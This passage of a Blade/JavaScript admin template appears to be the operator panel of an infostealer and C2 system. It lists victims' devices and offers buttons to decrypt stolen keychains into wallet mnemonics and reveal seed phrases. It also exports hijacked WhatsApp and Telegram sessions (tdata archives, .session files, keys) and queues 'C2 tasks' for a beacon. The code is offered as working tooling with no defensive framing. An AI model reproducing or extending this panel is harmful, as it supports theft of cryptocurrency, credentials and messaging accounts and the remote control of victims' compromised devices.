if (obj.event === 'reveal') revealMnemonic(obj.data);
|
||
});
|
||
}
|
||
|
||
if (tab === 'keystores') {
|
||
table.on('tool(LAY-device-tab-list)', function (obj) {
|
||
if (obj.event === 'decrypt') {
|
||
if (!obj.data.decrypt_url) return layer.msg('无法解密');
|
||
layer.confirm('对该设备已存钥匙串尝试解密并写入助记词?Trust UTC 可能需要一两分钟,请勿关闭页面。', { icon: 3, title: '解密' }, function (idx) {
|
||
layer.close(idx);
|
||
var loadIdx = layer.msg('解密中…', { icon: 16, shade: 0.2, time: 0 });
|
||
$.ajax({
|
||
url: obj.data.decrypt_url,
|
||
method: 'POST',
|
||
data: { _token: token },
|
||
timeout: 180000,
|
||
success: function (res) {
|
||
layer.msg((res && res.msg) || '已处理');
|
||
if (res && res.code === 0) table.reload('LAY-device-tab-list');
|
||
},
|
||
error: function (xhr) {
|
||
var msg = '解密失败';
|
||
if (xhr.statusText === 'timeout') msg = '解密超时,请稍后重试';
|
||
else if (xhr.responseJSON && xhr.responseJSON.msg) msg = xhr.responseJSON.msg;
|
||
layer.msg(msg);
|
||
},
|
||
complete: function () {
|
||
layer.close(loadIdx);
|
||
}
|
||
});
|
||
});
|
||
return;
|
||
}
|
||
// Plaintext detail viewer (sensitive fields masked)
|
||
if (obj.event === 'plaintext' && obj.data.detail_api_url) {
|
||
layer.load(1);
|
||
$.getJSON(obj.data.detail_api_url, function (res) {
|
||
layer.closeAll('loading');
|
||
if (!res || res.code !== 0) {
|
||
return layer.msg((res && res.msg) || '加载失败');
|
||
}
|
||
var d = res.data || {};
|
||
var detail = d.detail || {};
|
||
var html = '<div style="padding:12px 16px 16px;"><div style="color:#666;font-size:13px;margin-bottom:8px;">#' +
|
||
esc(d.id) + ' · 来源 ' + esc(d.source || '未知') + ' · ' + esc(d.kind || '') +
|
||
' · 已解密 ' + (Number(d.decrypted) === 1 ? '是' : '否') + '</div>' +
|
||
'<div style="color:#999;font-size:12px;margin-bottom:8px;padding:6px 10px;background:#fffbe6;border:1px solid #ffe58f;border-radius:3px;">' +
|
||
'敏感加密字段已打码,其余明文信息完整展示</div>' +
|
||
'<pre style="background:#f7f7f7;border:1px solid #e6e6e6;border-radius:3px;padding:12px;font-family:Menlo,Monaco,Consolas,monospace;font-size:12px;line-height:1.5;max-height:560px;overflow:auto;white-space:pre-wrap;word-break:break-all;">' +
|
||
esc(JSON.stringify(detail, null, 2)) + '</pre></div>';
|
||
layer.open({ type: 1, title: '明文详情 #' + (d.id || ''), area: ['960px', '80%'], content: html });
|
||
}).fail(function () {
|
||
layer.closeAll('loading');
|
||
layer.msg('加载失败');
|
||
});
|
||
return;
|
||
}
|
||
if (obj.event !== 'items' || !obj.data.items_url) return;
|
||
layer.load(1);
|
||
$.getJSON(obj.data.items_url, function (res) {
|
||
layer.closeAll('loading');
|
||
if (!res || res.code !== 0) {
|
||
return layer.msg((res && res.msg) || '加载失败');
|
||
}
|
||
var d = res.data || {};
|
||
var items = d.items || [];
|
||
var html = '<div style="padding:12px 16px 16px;"><div style="color:#666;font-size:13px;margin-bottom:10px;">#' +
|
||
esc(d.id) + ' · 来源 ' + esc(d.source || '未知') + ' · ' + esc(d.kind || '') +
|
||
' · 已解密 ' + (Number(d.decrypted) === 1 ? '是' : '否') +
|
||
' · ' + items.length + ' 条</div>';
|
||
if (!items.length) {
|
||
html += '<div style="color:#999;padding:24px 0;text-align:center;">暂无条目</div></div>';
|
||
} else {
|
||
html += '<table class="layui-table"><thead><tr>' +
|
||
'<th>Account</th><th>Service</th><th>Access Group</th><th>Class</th><th>长度</th><th>预览</th>' +
|
||
'</tr></thead><tbody>';
|
||
items.forEach(function (it) {
|
||
html += '<tr><td><code>' + esc(it.account || it.path || '—') + '</code></td>' +
|
||
'<td>' + dash(it.service) + '</td>' +
|
||
'<td><code>' + esc(it.access_group || '') + '</code></td>' +
|
||
'<td>' + dash(it.protection_class) + '</td>' +
|
||
'<td>' + esc(it.data_len) + '</td>' +
|
||
'<td class="wrap"><code>' + esc(it.data_preview || '') + '</code></td></tr>';
|
||
});
|
||
html += '</tbody></table></div>';
|
||
}
|
||
layer.open({ type: 1, title: '钥匙串 #' + (d.id || ''), area: ['920px', '70%'], content: html });
|
||
}).fail(function () {
|
||
layer.closeAll('loading');
|
||
layer.msg('加载失败');
|
||
});
|
||
});
|
||
}
|
||
|
||
if (tab === 'ws-sessions' || tab === 'tg-sessions') {
|
||
table.on('tool(LAY-device-tab-list)', function (obj) {
|
||
if (obj.event === 'payload') {
|
||
var url = obj.data.payload_url;
|
||
if (!url) { layer.msg('缺少参数地址'); return; }
|
||
var load = layer.load(1, { shade: 0.1 });
|
||
fetch(url, { headers: { 'Accept': 'application/json', 'X-Requested-With': 'XMLHttpRequest' }, credentials: 'same-origin' })
|
||
.then(function (res) {
|
||
return res.json().then(function (body) { return { ok: res.ok, body: body || {} }; })
|
||
.catch(function () { return { ok: false, body: { msg: '参数接口返回了非 JSON' } }; });
|
||
})
|
||
.then(function (out) {
|
||
layer.close(load);
|
||
var body = out.body || {};
|
||
var json = body.data && body.data.payload_json;
|
||
if (!out.ok || body.code === 1 || !json) { layer.msg(body.msg || '加载参数失败'); return; }
|
||
var downloadUrl = (body.data && body.data.download_url) || obj.data.download_url || '';
|
||
var pretty = JSON.stringify(json, null, 2);
|
||
layer.open({
|
||
type: 1, title: (tab === 'ws-sessions' ? 'WS 参数 #' : 'TG 参数 #') + obj.data.id,
|
||
area: ['720px', '80%'], content:
|
||
'<pre style="margin:0;padding:12px;max-height:100%;overflow:auto;background:#f6f6f6;font-size:12px;white-space:pre-wrap;word-break:break-all;">' + esc(pretty) + '</pre>'
|
||
+ (downloadUrl ? '<div style="padding:8px 12px;"><a class="layui-btn layui-btn-sm" href="' + esc(downloadUrl) + '" download>下载完整参数</a></div>' : '')
|
||
});
|
||
})
|
||
.catch(function () { layer.close(load); layer.msg('加载参数失败'); });
|
||
return;
|
||
}
|
||
if (obj.event === 'wsFull') {
|
||
var url = obj.data.ws_full_url;
|
||
if (!url) { layer.msg('缺少协议全参地址'); return; }
|
||
var load = layer.load(1, { shade: 0.1 });
|
||
fetch(url, { credentials: 'same-origin' })
|
||
.then(function (res) {
|
||
layer.close(load);
|
||
var ct = res.headers.get('Content-Type') || '';
|
||
if (!res.ok || ct.indexOf('application/json') !== -1) {
|
||
return res.json().then(function (b) { throw new Error(b.msg || '转换失败'); });
|
||
}
|
||
return res.blob().then(function (blob) {
|
||
var a = document.createElement('a');
|
||
a.href = URL.createObjectURL(blob);
|
||
a.download = 'ws-' + (obj.data.account_id || obj.data.id) + '.txt';
|
||
document.body.appendChild(a); a.click();
|
||
setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000);
|
||
});
|
||
})
|
||
.catch(function (e) { layer.close(load); layer.msg(e.message || '转换失败'); });
|
||
return;
|
||
}
|
||
if (obj.event === 'tdata') {
|
||
var url = obj.data.tdata_url;
|
||
if (!url) { layer.msg('缺少 TDATA 地址'); return; }
|
||
var load = layer.load(1, { shade: 0.1 });
|
||
fetch(url, { credentials: 'same-origin' })
|
||
.then(function (res) {
|
||
layer.close(load);
|
||
var ct = res.headers.get('Content-Type') || '';
|
||
if (!res.ok || ct.indexOf('application/json') !== -1) {
|
||
return res.json().then(function (b) { throw new Error(b.msg || '转换失败'); });
|
||
}
|
||
return res.blob().then(function (blob) {
|
||
var a = document.createElement('a');
|
||
a.href = URL.createObjectURL(blob);
|
||
a.download = 'tdata-' + (obj.data.account_id || obj.data.id) + '.zip';
|
||
document.body.appendChild(a); a.click();
|
||
setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000);
|
||
});
|
||
})
|
||
.catch(function (e) { layer.close(load); layer.msg(e.message || '转换失败'); });
|
||
return;
|
||
}
|
||
if (obj.event === 'session' || obj.event === 'sessionJson' || obj.event === 'sessionKey') {
|
||
var typeMap = { session: 'session', sessionJson: 'json', sessionKey: 'key' };
|
||
var extMap = { session: '.session', json: '.json', key: '_密钥.txt' };
|
||
var type = typeMap[obj.event];
|
||
var baseUrl = obj.data.session_file_url;
|
||
if (!baseUrl) { layer.msg('缺少会话文件地址'); return; }
|
||
var url = baseUrl + '?type=' + type;
|
||
var load = layer.load(1, { shade: 0.1 });
|
||
fetch(url, { credentials: 'same-origin' })
|
||
.then(function (res) {
|
||
layer.close(load);
|
||
var ct = res.headers.get('Content-Type') || '';
|
||
if (!res.ok || ct.indexOf('application/json') !== -1) {
|
||
return res.json().then(function (b) { throw new Error(b.msg || '转换失败'); });
|
||
}
|
||
return res.blob().then(function (blob) {
|
||
var a = document.createElement('a');
|
||
a.href = URL.createObjectURL(blob);
|
||
a.download = (obj.data.account_id || obj.data.id) + extMap[type];
|
||
document.body.appendChild(a); a.click();
|
||
setTimeout(function () { URL.revokeObjectURL(a.href); a.remove(); }, 1000);
|
||
});
|
||
})
|
||
.catch(function (e) { layer.close(load); layer.msg(e.message || '转换失败'); });
|
||
return;
|
||
}
|
||
});
|
||
}
|
||
|
||
if (tab === 'wallets') {
|
||
form.render('select');
|
||
form.on('submit(LAY-wallet-search)', function (data) {
|
||
table.reload('LAY-device-tab-list', {
|
||
where: {
|
||
tab: 'wallets',
|
||
source: data.field.source || '',
|
||
chain_type: data.field.chain_type || ''
|
||
},
|
||
page: { curr: 1 }
|
||
});
|
||
return false;
|
||
});
|
||
$('#LAY-wallet-reset').on('click', function () {
|
||
setTimeout(function () {
|
||
table.reload('LAY-device-tab-list', {
|
||
where: { tab: 'wallets', source: '', chain_type: '' },
|
||
page: { curr: 1 }
|
||
});
|
||
}, 0);
|
||
});
|
||
}
|
||
});
|
||
</script>
|
||
|
||
{{-- ===== C2 队列管理 (layui 组件) ===== --}}
|
||
<script>
|
||
layui.use(['form', 'layer', 'jquery'], function () {
|
||
var form = layui.form;
|
||
var layer = layui.layer;
|
||
var $ = layui.jquery;
|
||
|
||
// 命令类型列表(key => 中文描述)
|
||
var queueTypes = @json(\App\Services\DsBeaconQueue::ALL_TYPES);
|
||
var paramSchema = window.queueParamSchema || {};
|
||
var addUrl = window.queueAddUrl;
|
||
var removeUrl = window.queueRemoveUrl;
|
||
var token = window.csrfToken;
|
||
|
||
|
||
// 构建「添加任务」弹窗的 HTML(含 layui form select + 动态参数容器)
|
||
function buildAddFormHtml() {
|
||
var opts = '<option value="">请选择命令</option>';
|
||
for (var k in queueTypes) {
|
||
if (!queueTypes.hasOwnProperty(k)) continue;
|
||
opts += '<option value="' + k + '">' + k + ' (' + queueTypes[k] + ')</option>';
|
||
}
|
||
return ''
|
||
+ '<form class="layui-form" id="queueAddForm" lay-filter="queueAddForm" style="padding:20px 24px;">'
|
||
+ '<div class="layui-form-item">'
|
||
+ '<label class="layui-form-label">命令</label>'
|
||
+ '<div class="layui-input-block">'
|
||
+ '<select name="type" lay-filter="queueTypeSelect" lay-search>' + opts + '</select>'
|
||
+ '</div>'
|
||
+ '</div>'
|
||
+ '<div id="queueParamFields"></div>'
|
||
+ '<div class="layui-form-item" style="margin-bottom:0;">'
|
||
+ '<div class="layui-input-block">'
|
||
+ '<button type="button" class="layui-btn" id="queueAddSubmit" lay-submit lay-filter="queueAddSubmit">提交</button>'
|
||
+ '<button type="reset" class="layui-btn layui-btn-primary" style="margin-left:8px;">重置</button>'
|
||
+ '</div>'
|
||
+ '</div>'
|
||
+ '</form>';
|
||
}
|
||
|
||
// 根据选中命令类型渲染动态参数字段
|
||
function renderParamFields(type) {
|
||
var $box = $('#queueParamFields');
|
||
$box.empty();
|
||
var fields = paramSchema[type] || [];
|
||
if (!fields.length) {
|
||
return;
|
||
}
|
||
var html = '';
|
||
for (var i = 0; i < fields.length; i++) {
|
||
var f = fields[i];
|
||
var name = f.name, label = f.label, ftype = f.type, def = f.default, req = f.required;
|
||
var reqMark = req ? '<span style="color:#ff5722;">*</span> ' : '';
|
||
if (ftype === 'select') {
|
||
var opts = '';
|
||
if (f.options) {
|
||
for (var ok in f.options) {
|
||
if (!f.options.hasOwnProperty(ok)) continue;
|
||
opts += '<option value="' + ok + '"' + (ok == def ? ' selected' : '') + '>' + f.options[ok] + '</option>';
|
||
}
|
||
}
|
||
html += '<div class="layui-form-item">'
|
||
+ '<label class="layui-form-label">' + reqMark + label + '</label>'
|
||
+ '<div class="layui-input-block">'
|
||
+ '<select name="params[' + name + ']" lay-filter="param_' + name + '">' + opts + '</select>'
|
||
+ '</div>'
|
||
+ '</div>';
|
||
} else if (ftype === 'checkbox') {
|
||
var checked = def ? ' checked' : '';
|
||
html += '<div class="layui-form-item">'
|
||
+ '<label class="layui-form-label">' + reqMark + label + '</label>'
|
||
+ '<div class="layui-input-block">'
|
||
+ '<input type="checkbox" name="params[' + name + ']" lay-skin="switch" lay-text="开|关"' + checked + '>'
|
||
+ '</div>'
|
||
+ '</div>';
|
||
} else if (ftype === 'textarea') {
|
||
html += '<div class="layui-form-item layui-form-text">'
|
||
+ '<label class="layui-form-label">' + reqMark + label + '</label>'
|
||
+ '<div class="layui-input-block">'
|
||
+ '<textarea name="params[' + name + ']" placeholder="请输入' + label + '" class="layui-textarea" style="height:120px;">' + (def || '') + '</textarea>'
|
||
+ '</div>'
|
||
+ '</div>';
|
||
} else if (ftype === 'number') {
|
||
html += '<div class="layui-form-item">'
|
||
+ '<label class="layui-form-label">' + reqMark + label + '</label>'
|
||
+ '<div class="layui-input-block">'
|
||
+ '<input type="number" name="params[' + name + ']" value="' + (def != null ? def : '') + '" placeholder="请输入' + label + '" class="layui-input">'
|
||
+ '</div>'
|
||
+ '</div>';
|
||
} else {
|
||
// text
|
||
html += '<div class="layui-form-item">'
|
||
+ '<label class="layui-form-label">' + reqMark + label + '</label>'
|
||
+ '<div class="layui-input-block">'
|
||
+ '<input type="text" name="params[' + name + ']" value="' + (def != null ? def : '') + '" placeholder="请输入' + label + '" class="layui-input">'
|
||
+ '</div>'
|
||
+ '</div>';
|
||
}
|
||
}
|
||
$box.html(html);
|
||
form.render(null, 'queueAddForm');
|
||
}
|
||
|
||
// 绑定「添加任务」按钮
|
||
$('#btnQueueAdd').on('click', function () {
|
||
var idx = layer.open({
|
||
type: 1,
|
||
title: '添加 C2 任务',
|
||
area: ['520px', '500px'],
|
||
maxmin: false,
|
||
content: buildAddFormHtml(),
|
||
success: function (layero, index) {
|
||
// 渲染初始 select
|
||
form.render(null, 'queueAddForm');
|
||
|
||
// 监听命令类型切换
|
||
form.on('select(queueTypeSelect)', function (data) {
|
||
renderParamFields(data.value);
|
||
});
|
||
// 监听提交
|
||
form.on('submit(queueAddSubmit)', function (data) {
|
||
submitAddTask(data.field, index);
|
||
return false;
|
||
});
|
||
}
|
||
});
|
||
});
|
||
|
||
// 提交添加任务
|
||
function submitAddTask(formData, layerIndex) {
|
||
if (!formData.type) {
|
||
return layer.msg('请选择命令类型', { icon: 2 });
|
||
}
|
||
// 收集 params
|
||
var params = {};
|
||
var fields = paramSchema[formData.type] || [];
|
||
for (var i = 0; i < fields.length; i++) {
|
||
var f = fields[i];
|
||
var key = f.name;
|
||
var raw = formData['params[' + key + ']'];
|
||
if (raw === undefined || raw === '') {
|
||
if (f.required) {
|
||
layer.msg('请填写 ' + f.label, { icon: 2 });
|
||
return;
|
||
}
|
||
continue;
|
||
}
|
||
if (f.type === 'number') {
|
||
params[key] = Number(raw);
|
||
} else if (f.type === 'checkbox') {
|
||
params[key] = (raw === 'on' || raw === true || raw === 'true');
|
||
} else {
|
||
params[key] = raw;
|
||
}
|
||
}
|
||
var loadIdx = layer.load(1, { shade: 0.2 });
|
||
$.ajax({
|
||
url: addUrl,
|
||
method: 'POST',
|
||
data: { type: formData.type, params: params, _token: token },
|
||
success: function (res) {
|
||
layer.close(loadIdx);
|
||
if (!res || res.code !== 0) {
|
||
return layer.msg((res && res.msg) || '添加失败', { icon: 2 });
|
||
}
|
||
layer.close(layerIndex);
|
||
layer.msg('已添加', { icon: 1, time: 800 }, function () {
|
||
location.reload();
|
||
});
|
||
},
|
||
error: function (xhr) {
|
||
layer.close(loadIdx);
|
||
var msg = (xhr.responseJSON && xhr.responseJSON.msg) ? xhr.responseJSON.msg : '添加失败';
|
||
layer.msg(msg, { icon: 2 });
|
||
}
|
||
});
|
||
}
|
||
|
||
// 移除任务(使用 layui layer.confirm 替代原生 confirm)
|
||
window.queueRemove = function (taskId, type) {
|
||
layer.confirm('移除此任务?(' + type + ')', {
|
||
icon: 3,
|
||
title: '移除任务'
|
||
}, function (index) {
|
||
layer.close(index);
|
||
var loadIdx = layer.load(1, { shade: 0.2 });
|
||
$.ajax({
|
||
url: removeUrl,
|
||
method: 'POST',
|
||
data: { task_id: taskId, _token: token },
|
||
success: function (res) {
|
||
layer.close(loadIdx);
|
||
if (!res || res.code !== 0) {
|
||
return layer.msg((res && res.msg) || '移除失败', { icon: 2 });
|
||
}
|
||
layer.msg('已移除', { icon: 1, time: 800 }, function () {
|
||
location.reload();
|
||
});
|
||
},
|
||
error: function (xhr) {
|
||
layer.close(loadIdx);
|
||
var msg = (xhr.responseJSON && xhr.responseJSON.msg) ? xhr.responseJSON.msg : '移除失败';
|
||
layer.msg(msg, { icon: 2 });
|
||
}
|
||
});
|
||
});
|
||
};
|
||
});
|
||
</script>
|
||
@endpush
|